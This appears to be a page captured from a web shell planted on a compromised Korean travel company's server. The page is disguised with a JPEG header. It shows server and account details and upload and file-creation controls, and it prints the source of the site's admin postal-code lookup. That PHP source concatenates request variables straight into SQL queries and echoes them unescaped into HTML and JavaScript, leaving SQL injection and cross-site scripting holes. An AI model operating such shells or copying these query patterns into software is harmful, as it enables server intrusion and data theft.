ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/include/pop_zipcode.html
<? include "../../Lib/_common.php"; // 공통 인클루드 ?>
<?
/**
 * 우편번호찾기
 *
 * 작성자 : 
 * 작성일 : 2009.09.23
 * 수정내역 : 2013.12.13 박건호 도로명주소 검색추가 jQuery 연결필요.
 */
?>
<? include "../../Lib/zipconnect.php"; // 우편번호 DB 컨넥션 인클루드 ?>
<?

$SIDO_ARR =array();

$sql_sido = "select idx,sido from zip_code_sido order by idx";
$result_sido = db_query($sql_sido,TRUE,$zipconnect);
while($rs_sido = db_fetch_row($result_sido)){
	$SIDO_ARR[$rs_sido[0]] = $rs_sido[1];
}

/*
$SIDO_ARR = array('서울특별시','부산광역시','대구광역시','인천광역시','광주광역시','대전광역시','울산광역시','세종특별자치시','강원도','경기도','경상남도','경상북도','전라남도','전라북도','충청북도','충청남도','제주특별자치도');*/

if(!$zip_type) $zip_type = "old";

// 우편번호 리스트 가져옴
if($zip_type=='old'){
	$TO_ZIP = array();
	if ($dong) {
		$sql = "SELECT CODE as ZIPCODE, SIDO, GUGUN, DONG, BUNJI, BUILDING, ADDRESS,
		        LEFT(CODE, 3) AS ZIP1, RIGHT(CODE, 2) AS ZIP2
				FROM zipcode
				WHERE ADDRESS LIKE '%{$dong}%';";
		$rs = db_query($sql,TRUE ,$zipconnect);

		// 배열로 저장
		while ($row = db_fetch_array($rs)) {
			$row = TO_stripslashes($row); // stripslashes 처리

			$TO_ZIP[] = $row;
		}
	}

	//$TO_ZIP = TO_get_zipcode($dong);
	$is_no_zip = ($dong && count($TO_ZIP) == 0) ? true : false;
}else if($zip_type=='new'){
	if($SIDO=='전체') $SIDO="";
	if($SIGUNGU=='전체') $SIGUNGU="";
	if($ROAD=='도로명') $ROAD="";
	if($B_NO=='건물번호') $B_NO="";
	if($DONG_UPMERN=="동(읍/면)") $DONG_UPMERN="";
	if($JIBUN=="지번") $JIBUN ="";
	if($BUILDING=='건물명(아파트명 등)') $BUILDING="";
	
	$sql_where = "";
	if($SIDO) $sql_where.="and SIDO='".$SIDO."' ";
	if($SIGUNGU) $sql_where.="and SOGUNGU='".$SIGUNGU."' ";
	if($zip_type2=='A'){
		if($B_NO) $sql_where.= "and B_NO1='".$B_NO."' ";
		$sql_where.= "and ROAD like '%".$ROAD."%' ";
	}else if($zip_type2=='B'){
		//지번이 본번 부번으로 나누어져 있으므로 - 로 나누어서 비교한다.
		$jibun_array = explode("-",$JIBUN);

		if($jibun_array[0]){
			$sql_where.= "and JIBUN_1='".$jibun_array[0]."' ";
		}

		if($jibun_array[1]){
			$sql_where.= "and JIBUN_2='".$jibun_array[1]."' ";
		}

		$sql_where.= "and (DONG like '%".$DONG_UPMERN."%' OR UPMERN like '%".$DONG_UPMERN."%') ";
	}else if($zip_type2=='C'){
		$sql_where.= "and BUILDING like '%".$BUILDING."%' ";
	}


	// 리스트 수 가져옴	
	$sql_con = "select count(*) as total from zipcode_new where 1=1 ".$sql_where;
	$result_con = db_query($sql_con,TRUE,$zipconnect);
	$row_con = db_fetch_array($result_con);
	$total = $row_con[total];

	// 페이지수 설정
	if (!$page) $page = 1; // 페이지 번호
	$line = 5; // 보여줄 갯수
	$list = 10; // 블럭 갯수
	$total_page = ceil($total / $line); // 총페이지
	if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
	if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
	$total_list = intval($total_page / $list);
	if ($total_page % $list == 0) $total_list--;
	$curr_list = intval($page / $list);
	if ($page % $list == 0) $curr_list--;
	$start_page = $curr_list * $list + 1;
	$prev_list = $start_page - $list;
	$next_list = $start_page + $list;
	$olds = $line * ($page - 1);

	//실제 정보를 가지고 온다.
	$sql_list = "select * from zipcode_new where 1=1 ".$sql_where." limit ".$olds.", ".$line;

	$result_list = db_query($sql_list,TRUE,$zipconnect);
}

//[son]
$B2b = new B2b();
$langInfo = $B2b->langInfo();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" style="background-image:url('');background-color:#FFFFFF;">
<head>
<title>우편번호찾기</title>
<link type="text/css" rel="stylesheet" href="../css/admin_default_<?=$langInfo[lang]?>.css" />
<link type="text/css" rel="stylesheet" href="../css/all.css?ver=2022_10_20_0"/>
<!-- common -->
<script type="text/javascript" src="/js/jquery-1.9.1.js"></script>
<script type="text/javascript" src="/js/common.js"></script>
<script type="text/javascript" src="/js/common.lib.js"></script>
<script type="text/javascript" src="/js/TO.lib.js"></script>


<style type='text/css'>
	
	#popup #p_tit .tab01 {border-bottom:1px solid #666;margin-bottom:18px;line-height:1.25;}
	#popup #p_tit .tab01 ul{list-style-type:none;width:380px;height:31px;margin:0;padding:0;z-index:0;}
	#popup #p_tit .tab01 li{float:left;position:relative;text-align:center;font-family:"Dotum","돋움","Gulim","굴림","Sans-serif";
	border:1px solid #ccc;border-bottom:0px solid #ccc;background-color:#EEE;width:188px;height:30px;z-index:0;}
	#popup #p_tit .tab01 li.on{ border:1px solid #666;border-bottom:0px;background-color:#fff;height:31px;z-index:1;}
	#popup #p_tit .tab01 li a{display:block;padding:7px 0px; font-size:13px; line-height:14px; color:#666; text-decoration:none;}

	.input_zip {color:#999;font-size:11px;height:14px;line-height:14px;width:80px;overflow:visible;}
	.zip_tab2 ul{list-style-type:none;width:98%;margin:0 auto;padding:0;}
	.zip_tab2 ul li{float:left; width:33%;}
	.comment p{text-align:left;padding-top:10px;}
	#loadingBar {margin:0; display:none; position:absolute; top:0; left:0; z-index:100;border: solid 2px #444;}

	.address_result .list {
		BORDER-TOP: #666 2px solid;
		BORDER-BOTTOM: #acacac 1px solid
	}
	.address_result .list li {
		OVERFLOW: hidden;
		BORDER-TOP: #e1e1e1 1px solid;
		PADDING-BOTTOM: 7px;
		PADDING-TOP: 8px;
		PADDING-LEFT: 10px;
		MARGIN-TOP: -5px;
		PADDING-RIGHT: 10px;
		list-style:none;
	}
	.address_result .list li:first-child {
		PADDING-BOTTOM: 7px;
		PADDING-TOP: 13px;
		PADDING-LEFT: 10px;
		PADDING-RIGHT: 10px;
		BORDER-TOP-WIDTH: 0px
	}
	.address_result .list li span {
		HEIGHT: 32px;
		FLOAT: left;
		COLOR: #666;
		TEXT-AliGN: left;
		DISPLAY: inline-block;
		liNE-HEIGHT: 16px
	}
	.address_result .list li span EM {
		COLOR: #333;
		DISPLAY: block
	}
	.address_result .list li A {
		FLOAT: right;
		MARGIN-TOP: 4px;
		DISPLAY: block
	}
	.pagination {
		TEXT-AliGN: center;
		MARGIN-TOP: 15px
	}
	.pagination span.pages A {
		BORDER-TOP: #dddddd 1px solid;
		HEIGHT: 18px;
		BORDER-RIGHT: #dddddd 1px solid;
		BORDER-BOTTOM: #dddddd 1px solid;
		FONT: bold 12px/18px Tahoma;
		BORDER-LEFT: #dddddd 1px solid;
		DISPLAY: inline-block;
		WIDTH: 19px;
		MARGIN-RIGHT: 3px
	}
	.pagination span.pages STRONG {
		BORDER-TOP: #dddddd 1px solid;
		HEIGHT: 18px;
		BORDER-RIGHT: #dddddd 1px solid;
		BORDER-BOTTOM: #dddddd 1px solid;
		FONT: bold 12px/18px Tahoma;
		BORDER-LEFT: #dddddd 1px solid;
		DISPLAY: inline-block;
		WIDTH: 19px;
		MARGIN-RIGHT: 3px
	}
	.pagination span.pages STRONG {
		BORDER-TOP: #f00f00 1px solid;
		BORDER-RIGHT: #f00f00 1px solid;
		BORDER-BOTTOM: #f00f00 1px solid;
		COLOR: #f00f00;
		BORDER-LEFT: #f00f00 1px solid
	}
	.pagination .prev {
		BACKGROUND-IMAGE: url(https://pics.auction.co.kr/common/sprite_pagination.gif);
		BACKGROUND-REPEAT: no-repeat;
		FONT: 11px/14px Dotum;
		TEXT-DECORATION: none;
		DISPLAY: inline-block;
		LETTER-SPACING: -1px
	}
	.pagination .next {
		BACKGROUND-IMAGE: url(https://pics.auction.co.kr/common/sprite_pagination.gif);
		BACKGROUND-REPEAT: no-repeat;
		FONT: 11px/14px Dotum;
		TEXT-DECORATION: none;
		DISPLAY: inline-block;
		LETTER-SPACING: -1px
	}
	.pagination .prev {
		BACKGROUND-POSITION: 0px -58px;
		PADDING-LEFT: 11px;
		MARGIN-RIGHT: 4px
	}
	.pagination .next {
		BACKGROUND-POSITION: 100% -28px;
		MARGIN-LEFT: 4px;
		PADDING-RIGHT: 11px
	}
	/* 배경 레이어 */
	#inputLayerBg {margin:0; display:none; z-index:5; position:absolute; top:0; left:0; width:100%; height:100%; background-color:#2F2F2F; filter:alpha(opacity=35); opacity:0.35;}
</style>
</head>
<body style="background-image:url('');background-color:#FFFFFF;" <?if($SIDO){?>onload="loadingBarOff('N');"<?}?>>
<!-- 회색배경레이어 -->
<div id="inputLayerBg">
	<table border="0" width="100%" height="100%" bgcolor="#2F2F2F">
		<tr>
			<td align="center" valign="center" width="100%" height="100%"></td>
		</tr>
	</table>
</div>
<!-- //회색배경레이어 -->

<!-- 로딩바 -->
<div id="loadingBar" onclick="loadingBarOff();" style="display:none;background-color:#FFFFFF;filter:Alpha(opacity=80); opacity:0.8"><img src="/image/ajax-loader.gif" border=0 ></div>
<!-- //로딩바 -->
<!-- 우편번호찾기 Form -->
<form name="zipform" id="zipform" method="get" onsubmit="return zipform_submit(this);">
<input type="hidden" name="f_name" value="<?=$f_name?>" />
<input type="hidden" name="f_zip1" value="<?=$f_zip1?>" />
<input type="hidden" name="f_zip2" value="<?=$f_zip2?>" />
<input type="hidden" name="f_addr1" value="<?=$f_addr1?>" />
<input type="hidden" name="f_addr2" value="<?=$f_addr2?>" />
<input type="hidden" name="zip_type" id="zip_type" value="<?=$zip_type?>" />
<input type="hidden" name="sido_key" id="sido_key" value="<?=$sido_key?>" />
<input type="hidden" name="tmp_layer_id" id="tmp_layer_id" value="<?=$tmp_layer_id?>" />
<div id="popup">
	<!-- 타이틀 -->
	<div id="p_tit">
		<div class="tab01">
			<ul>
				<li <?if($zip_type=='old'){?>class='on'<?}?> id="zip_old_tab"><a href="#" onclick="zip_tabs('old');return false;">우편번호 검색</a></li>
				<li <?if($zip_type=='new'){?>class='on'<?}?> id="zip_new_tab"><a href="#" onclick="zip_tabs('new');return false;">도로명주소 검색</a></li>
			</ul>
		</div>
		<!--<span><img src="../image/btn/btn_close.png" alt="닫기" title="닫기" style="cursor:pointer;" onClick="parent.SLB();" /></span>-->
	</div>
	<!-- //타이틀 -->

	<div id="p_contents">
		<!-- old -->
		<div class="member" id="zip_old" style="display:<?if($zip_type=='old'){?>block<?}else{?>none<?}?>;">
			<div class="m_input">
				<p>지역(동.읍.면)을 입력하세요.</p>
				<input type="text" size="25" class="input_1" name="dong" id="dong" value="<?=get_text($dong)?>" style="ime-mode:active;" /> <input type="image" src="../../image/zipcode/btn_ok" alt="확인" title="확인"  align="absmiddle" />
			</div>
			<div style="overflow-y:scroll;line-height:180%; width:100%; height:160px;">
				<?if($zip_type=='old'){?>
				<table width="95%" border="0" cellspacing="0" cellpadding="0" summary="우편번호검색결과">
				<?
				// 우편번호 출력
				for ($i=0, $cnt=count($TO_ZIP); $i<$cnt; $i++) {
					$TO_LIST = $TO_ZIP[$i]; // 변수 복사
					// 번지수가 000 ~ 000 처럼 구간일 경우 수정할수가 없기 때문에 수정함
					$TO_LIST[ADDR1] = $TO_LIST[SIDO] . " " . $TO_LIST[GUGUN] . " " . $TO_LIST[DONG];
					$TO_LIST[ADDR2] = $TO_LIST[BUNJI];
					if ($TO_LIST[BUILDING]) {
						if ($TO_LIST[ADDR2]) $TO_LIST[ADDR2] .= " ";
						$TO_LIST[ADDR2] .= $TO_LIST[BUILDING];
					}
				?>
					<tr>
						<td class="t_white"  align="left">[<?=$TO_LIST[ZIP1]?>-<?=$TO_LIST[ZIP2]?>] <?=$TO_LIST[ADDRESS]?></td>
						<td align="right"><img src="../../image/zipcode/btn_select.gif" alt="입력" title="입력" style="cursor:pointer;" onclick="zip_insert('<?=$TO_LIST[ZIP1]?>','<?=$TO_LIST[ZIP2]?>', '<?=$TO_LIST[ADDR1]?>', '<?=$TO_LIST[ADDR2]?>');" /></td>
					</tr>
				<?
				} // 우편번호 출력 닫기
				?>
				<? if ($is_no_zip == true) { // 검색을 했는데 결과값이 없을 경우 ?>
							<tr><td align="center" height="50" style="color:#FF3300; font-weight:bold;">찾으시는 주소가 없습니다.</td></tr>
				<? } ?>
				</table>
				<?}?>
			</div>
		</div>
		<!-- //old -->

		<!-- new -->
		<?
		if(!$zip_type2) $zip_type2 = 'A';
		?>
		<div class="member" id="zip_new" style="display:<?if($zip_type=='new'){?>block<?}else{?>none<?}?>;">
			<div class='zip_tab2'>
				<ul>
					<li><input type="radio" name="zip_type2" id="zip_type2_A" value="A" <?if($zip_type2=='A'){?>checked<?}?> onclick="zip_tabs2(this)"> <label for="zip_type2_A">도로명+건물번호</label></li>
					<li><input type="radio" name="zip_type2" id="zip_type2_B" value="B" <?if($zip_type2=='B'){?>checked<?}?> onclick="zip_tabs2(this)"> <label for="zip_type2_B">동(읍/면)+지번</label></li>
					<li><input type="radio" name="zip_type2" id="zip_type2_C" value="C" <?if($zip_type2=='C'){?>checked<?}?> onclick="zip_tabs2(this)"> <label for="zip_type2_C">건물명(아파트명)</label></li>
				</ul>
			</div>
			<div class="m_input">
				<table width="100%" border="0" cellspacing="0" cellpadding="0" summary="도로명주소검색">
					<tr>
						<td width="50">시도</td>
						<td width="90">
							<select name="SIDO" id="SIDO" onchange="load_SIGUNGU(this.value);" style='width:85px;'>
								<option value="전체">전체</option>
								<?foreach($SIDO_ARR as $key=>$val){?>
								<option value="<?=$val?>" data-key="<?=$key?>" <?if($SIDO==$val) echo "selected";?>><?=$val?></option>
								<?}?>
							</select>
						</td>
						<td>시군구</td>
						<td>
							<div id="SIGUNGU_AJAX">
							<?include "pop_zipcode_sigungu.html";?>
							<!--
							<select name="SIGUNGU" id="SIGUNGU">
								<option value="전체">전체</option>
								
							</select>-->
							</div>
						</td>
						<td>&nbsp;</td>
					</tr>
					<tr id="zip_input_A" style="display:<?if($zip_type2=='A'){?><?}else{?>none<?}?>">
						<td width="50">검색어</td>
						<td width="90"><input type="text" name="ROAD" id="ROAD" class="input_zip" value="<?=($ROAD)?$ROAD:"도로명"?>" style="width:70px;ime-mode:active;" onkeydown="if(event.keyCode==13){}" onfocus="clearForm(this,'도로명');" onblur="escapeForm(this,'도로명');"></td>
						<td>+</td>
						<td><input type="text" name="B_NO" id="B_NO" class="input_zip" value="<?=($B_NO)?$B_NO:"건물번호"?>" style="width:70px;ime-mode:active;" onkeydown="if(event.keyCode==13){}" onfocus="clearForm(this,'건물번호');" onblur="escapeForm(this,'건물번호');"></td>
						<td><input type="image" src="../../image/zipcode/btn_ok.gif" alt="입력" title="입력" style="cursor:pointer;" ></td>
					</tr>
					<tr id="zip_input_B" style="display:<?if($zip_type2=='B'){?><?}else{?>none<?}?>">
						<td>검색어</td>
						<td><input type="text" name="DONG_UPMERN" id="DONG_UPMERN" class="input_zip" value="<?=($DONG_UPMERN)?$DONG_UPMERN:"동(읍/면)"?>" style="width:70px;ime-mode:active;" onkeydown="if(event.keyCode==13){}" onfocus="clearForm(this,'동(읍/면)');" onblur="escapeForm(this,'동(읍/면)');"></td>
						<td>+</td>
						<td><input type="text" name="JIBUN" id="JIBUN" class="input_zip" value="<?=($JIBUN)?$JIBUN:"지번"?>" style="width:70px;ime-mode:active;" onkeydown="if(event.keyCode==13){}" onfocus="clearForm(this,'지번');" onblur="escapeForm(this,'지번');"></td>
						<td><input type="image" src="../../image/zipcode/btn_ok.gif" alt="입력" title="입력" style="cursor:pointer;" ></td>
					</tr>
					<tr id="zip_input_C" style="display:<?if($zip_type2=='C'){?><?}else{?>none<?}?>">
						<td width="50">검색어</td>
						<td colspan="3" align="left"><input type="text" name="BUILDING" id="BUILDING" class="input_zip" value="<?=($BUILDING)?$BUILDING:"건물명(아파트명 등)"?>" style="width:150px;ime-mode:active;" onkeydown="if(event.keyCode==13){}" onfocus="clearForm(this,'건물명(아파트명 등)');" onblur="escapeForm(this,'건물명(아파트명 등)');"></td>
						<td><input type="image" src="../../image/zipcode/btn_ok.gif" alt="입력" title="입력" style="cursor:pointer;" ></td>
					</tr>
				</table>
			</div>
			
			<? if($zip_type=='new'){ ?>
			<div class="address_result">
				<div class=list>
					<ul>
						<?					
								for($i=0;$row_list = db_fetch_array($result_list);$i++){

									$title_list = "";
									$b_no_list = "";
									$title_list_view = "";

									$title_list = $row_list[SIDO]." ".$row_list[SOGUNGU];
										 
									if($row_list[UPMERN]){
										$title_list .= " ".$row_list[UPMERN];
									}

									$title_list .= " ".$row_list[ROAD];
									
									if($row_list[B_NO1]){
										$b_no_list .= " ".$row_list[B_NO1];
									}

									if($row_list[B_NO2]){
										$b_no_list .= "-".$row_list[B_NO2];
									}

									$title_list .= $b_no_list;

									$title_list_view .= $title_list." (".$row_list[DONG]." ".$row_list[JIBUN_1]."-".$row_list[JIBUN_2].")";

						?>
						<li id="li_<?=$i?>" title="<?=$title_list_view?>"><span><?=$title_list_view?></span><A href="#;" onclick="zip_insert('<?=substr($row_list[CODE],0,3)?>', '<?=substr($row_list[CODE],3,2)?>', '<?=$title_list_view?>', '')"><IMG alt="선택" src="../../image/zipcode/btn_select.gif"></A> </li>
						<?
								}
						?>
						<? if ($i==0) { // 검색을 했는데 결과값이 없을 경우 ?>
							<li><span style="padding-left:120px;">찾으시는 주소가 없습니다.</span></li>
						<? } ?>
					</ul>
				</div>
			</div>
			<div class="result paging_area" style="DISPLAY: block;">
				<!-- 페이징-->
				<div class="pagination pagination-interval">				
				<? 
					$block_page = $list;
					$now_page = $page;

					$start_page = (int)(($now_page - 1) / $block_page) * $block_page + 1; // 시작 페이지
					$end_page = $start_page + $block_page - 1; // 끝 페이지
					if ($end_page >= $total_page) $end_page = $total_page;
				
					// 이전블럭
					if ($start_page > $block_page) {
						$prev_page = $start_page - 1;
				?>
				<A class="prev" href="pop_zipcode.html?page=<?=$prev_page?>&f_name=<?=$f_name?>&f_zip1=<?=$f_zip1?>&f_zip2=<?=$f_zip2?>&f_addr1=<?=$f_addr1?>&f_addr2=<?=$f_addr2?>&zip_type=<?=$zip_type?>&dong=<?=$dong?>&zip_type2=<?=$zip_type2?>&SIDO=<?=$SIDO?>&SIGUNGU=<?=$SIGUNGU?>&B_NO=<?=$B_NO?>&DONG_UPMERN=<?=$DONG_UPMERN?>&JIBUN=<?=$JIBUN?>&BUILDING=<?=$BUILDING?>&ROAD=<?=$ROAD?>&sido_key=<?=$sido_key?>">이전</A>
				<?
					} else {
				?>
				<A class="prev" href="#;">이전</A>
				<?}?>
					<span class="pages">
				<?
					// 페이지
					if ($total_page >= 1) {
						for ($p=$start_page; $p<=$end_page; $p++) {
							
							if ($p == $now_page) echo "<STRONG>$p</STRONG>";
							else echo "<A href='pop_zipcode.html?page=$p&f_name=$f_name&f_zip1=$f_zip1&f_zip2=$f_zip2&f_addr1=$f_addr1&f_addr2=$f_addr2&zip_type=$zip_type&dong=$dong&zip_type2=$zip_type2&SIDO=$SIDO&SIGUNGU=$SIGUNGU&B_NO=$B_NO&DONG_UPMERN=$DONG_UPMERN&JIBUN=$JIBUN&BUILDING=$BUILDING&ROAD=$ROAD&sido_key=$sido_key'>$p</A>";
						}
					}

				?>
					</span>
				<?
					// 다음블럭
					if($total_page > $end_page) {
						$next_page = $end_page + 1;
				?>
				   <A class="next" href="pop_zipcode.html?page=<?=$next_page?>&f_name=<?=$f_name?>&f_zip1=<?=$f_zip1?>&f_zip2=<?=$f_zip2?>&f_addr1=<?=$f_addr1?>&f_addr2=<?=$f_addr2?>&zip_type=<?=$zip_type?>&dong=<?=$dong?>&zip_type2=<?=$zip_type2?>&SIDO=<?=$SIDO?>&SIGUNGU=<?=$SIGUNGU?>&B_NO=<?=$B_NO?>&DONG_UPMERN=<?=$DONG_UPMERN?>&JIBUN=<?=$JIBUN?>&BUILDING=<?=$BUILDING?>&ROAD=<?=$ROAD?>&sido_key=<?=$sido_key?>">다음</A> </div>
				<?} else { ?>
					 <A class="next" href="#;">다음</A> </div>
				<? } ?>
				<!-- 페이징 //-->
			</div>
			<? } ?>

			<div class='comment'>
				<p id="zip_comm_A" style="display:<?if($zip_type2=='A'){?><?}else{?>none<?}?>">예) 테헤란로 152 → ‘서울시’‘강남구’ 선택 후 테헤란로(도로명) + 152(건물번호) </p>
				<p id="zip_comm_B" style="display:<?if($zip_type2=='B'){?><?}else{?>none<?}?>">예) 잠실동 27 → ‘서울시’’송파구’ 선택 후 잠실동(동명) + 27(지번) </p>
				<p id="zip_comm_C" style="display:<?if($zip_type2=='C'){?><?}else{?>none<?}?>">예) ‘서울시’ ’강남구’ 선택 후 강남파이낸스센터 (건물명)</p>
				<p>※ 도로명 새주소가 검색되지 않는 경우는 행정안전부 새주소안내시스템 (<a href="http://www.juso.go.kr" target='_blank'>http://www.juso.go.kr</a>)에서 확인하시기 바랍니다.<p>
			</div>
		</div>
		<!-- //new -->
	</div>
</div>
</form>
<!-- //우편번호찾기 Form -->

<script type="text/javascript">
//도로명에 추가된 함수
function urlencode_zip (str) {
	str = (str + '').toString();
	return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').
	replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');
}

function load_SIGUNGU(SIDO){
	var num = $('#SIDO option:selected').attr('data-key');	
	loadingBarOn();
	$('#sido_key').val(num);
	$('#SIGUNGU_AJAX').load('pop_zipcode_sigungu.html?sido_key='+num,function(){loadingBarOff();});
}

function zip_tabs(type){
	if(!type) return;

	if(type=='old'){
		var tab = 'zip_old_tab';
		var content = 'zip_old';
		var hide_tab = "zip_new_tab";
		var hide_content = "zip_new";
	}else{
		var tab = 'zip_new_tab';
		var content = 'zip_new';
		var hide_tab = "zip_old_tab";
		var hide_content = "zip_old";
	}

	$('#zip_type').val(type);
  document.getElementById(tab).className = "on";
	document.getElementById(content).style.display = 'block';
	document.getElementById(hide_tab).className = "";
	document.getElementById(hide_content).style.display = 'none';
}

function zip_tabs2(obj){
	if(!obj) return;
	var val = obj.value;
	
	$('#zip_input_'+val).show().siblings('tr[id^="zip_input_"]').hide();
	$('#zip_comm_'+val).show().siblings('p[id^="zip_comm_"]').hide();
}

function clickSearchButton() {

	if ($("#SIDO option:selected").text() == "전체") {
		alert("'시/도'를 선택해주세요.");
		return false;
	}

	if ($("#SIGUNGU option:selected").text() == "전체") {
		alert("'시/군/구'를 선택해주세요.");
		return false;
	}

	if (($(':radio[name="zip_type2"]:checked').val() == "A") &&
			($("#ROAD").val() == "" || $("#ROAD").val() == "도로명")
			) {
		alert("도로명+건물번호를 입력하십시오!");
		return false;
	}

	if (($(':radio[name="zip_type2"]:checked').val() == "B") &&
			($("#DONG_UPMERN").val() == "" || $("#DONG_UPMERN").val() == "동(읍/면)" || $("#JIBUN").val() == "" || $("#JIBUN").val() == "지번") 
			) {
		alert("동(읍/면)명+지번을 입력하십시오!");
		return false;
	}

	if (($(':radio[name="zip_type2"]:checked').val() == "C") &&
			($("#BUILDING").val() == "" || $("#BUILDING").val() == "건물명(아파트명 등)")
			) {
		alert("건물명(아파트명 등)을 입력하십시오!");
		return false;
	}
	
	loadingBarOn('N');

	//$('#zipform').submit();
	//$("#btnSearch").click();
}

var previousString="";
function clearForm(obj, defaultvalue) {
	if (obj.value == defaultvalue) {
		previousString = obj.value;
		obj.value = "";
	}
}

function escapeForm(obj, defaultValue) {
	if (obj.value == "")
		obj.value = defaultValue;
}


// 폼 전송 체크 함수
function zipform_submit(f) {
	if($('#zip_type').val()=='new'){
		return clickSearchButton();
	}else{
		return old_zip_check(f);
	}
}

function old_zip_check(f){
	if (trim(f.dong.value) == "") {
		alert('찾으시는 지역(읍/면/동)을 입력해 주세요.');
		f.dong.focus();
		return false;
	}
}

//도로명에 추가된 함수 끝



// 우편번호 삽입 함수
function zip_insert(zip1, zip2, addr1, addr2) {
	if (!zip1) return;

	var f_name = '<?=$f_name?>';
	var zip1_name = '<?=$f_zip1?>';
	var zip2_name = '<?=$f_zip2?>';
	var addr1_name = '<?=$f_addr1?>';
	var addr2_name = '<?=$f_addr2?>';

	var doc = parent.document;	
	if (f_name && doc.forms[f_name]) {		
		var pf = doc.forms[f_name];

		if (zip2_name) {
			pf.elements[zip1_name].value = zip1.toString();
			pf.elements[zip2_name].value = zip2.toString();
		}
		else {
			pf.elements[zip1_name].value = zip1.toString() + zip2.toString();
		}

		if (addr1_name) {			
			pf.elements[addr1_name].value = addr1 + " " + addr2;
			//pf.elements[addr1_name].value = addr1;
		}
		if (addr2_name) {
			pf.elements[addr2_name].focus();
			pf.elements[addr2_name].value = addr2;
		}
	}

	parent.to_dialog.close('<?=$tmp_layer_id?>');
}
// 폼에 포커스 (시간차이용--;) 
/*
window.setTimeout(function() {
	if (document.getElementById('dong')) document.getElementById('dong').focus();
}, 100);
*/
</script>
</body>
</html>

Anon7 - 2021